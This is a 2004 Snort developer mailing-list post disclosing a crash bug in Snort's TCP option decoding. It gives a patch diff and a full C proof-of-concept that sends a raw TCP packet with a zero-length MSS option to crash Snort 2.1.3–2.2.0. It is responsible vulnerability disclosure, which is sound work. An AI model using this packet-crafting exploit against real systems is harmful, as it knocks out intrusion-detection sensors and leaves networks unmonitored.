[Snort-devel] Snort >= 2.1.3 TCP/IP options bug

Marcin Z. mz at ...2647...
Sat Oct 2 04:21:01 EDT 2004


Hi,
I've recently found a bug in DecodeTCPOptions() in decode.c and probably
DecodeIPOptions() (but not tested). When we run Snort in sniffer mode like:
% snort -dev -i lo
and send a packet with bad TCP option length (a proof of concept code included
in this message) program exits with Segmentation Fault. I've written a patch
for version 2.2.0, see below.

System: Linux x86, kernel 2.4.27.
Affected versions: from 2.1.3 up to 2.2.0

Marcin Zgorecki
mz (at) risp (dot) pl


diff -Nu snort-2.2.0/src/decode.c decode.c
--- snort-2.2.0/src/decode.c	2004-06-03 22:11:05.000000000 +0200
+++ decode.c	2004-10-02 12:39:56.000000000 +0200
@@ -3055,6 +3055,9 @@
             }
         }
 
+	if (code < 0)
+		return;
+
         option_ptr += byte_skip;
     }
 
@@ -3159,6 +3162,9 @@
             return;
         }
 
+	if (code < 0)
+		return;
+
         if(!done)
             opt_count++;
 

// ----------------------------------------------------------- //

Some code:
/*
 * snort >= 2.1.3 TCP/IP options bug proof of concept
 * by Marcin Zgorecki
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define DADDR	"127.0.0.1"

int main(int argc, char **argv)
{
	int s;
	/* TCP MSS option, should be: "\x02\04\xff\xff" */
	char opts[] = "\x02\x00\xff\xff";
	char datagram[64];
	struct sockaddr_in addr;
	struct ip *ip = (struct ip *) datagram;
	struct tcphdr *tcp;

	memset(&datagram, 0, sizeof(datagram));
	addr.sin_addr.s_addr = inet_addr(DADDR);
	addr.sin_port = htons(123);
	addr.sin_family = AF_INET;

	ip->ip_hl = 5;
	ip->ip_v = 4;
	ip->ip_tos = 0;
	ip->ip_id = 0;
	ip->ip_off = 0;
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_len = 44;
	ip->ip_sum = 0;
	ip->ip_dst.s_addr = addr.sin_addr.s_addr;
	ip->ip_src.s_addr = inet_addr("1.2.3.4");

	tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2));
	tcp->source = htons(321);
	tcp->dest = addr.sin_port;
	tcp->seq = 0;
	tcp->ack = 0;
	tcp->res1 = 0;
	tcp->doff = 6;
	tcp->syn = 0;
	tcp->window = 0x1000;
	tcp->check = 0;
	tcp->urg_ptr = 0;

	memcpy(datagram + 40, opts, sizeof(opts));

	if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
		perror("socket");
		exit(0);
	}

	if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr,
		   sizeof(struct sockaddr_in)) == -1) {
		perror("sendto");
		exit(-1);
	}

	printf("packet sent!\n");

	close(s);
	return 0;
}





More information about the Snort-devel mailing list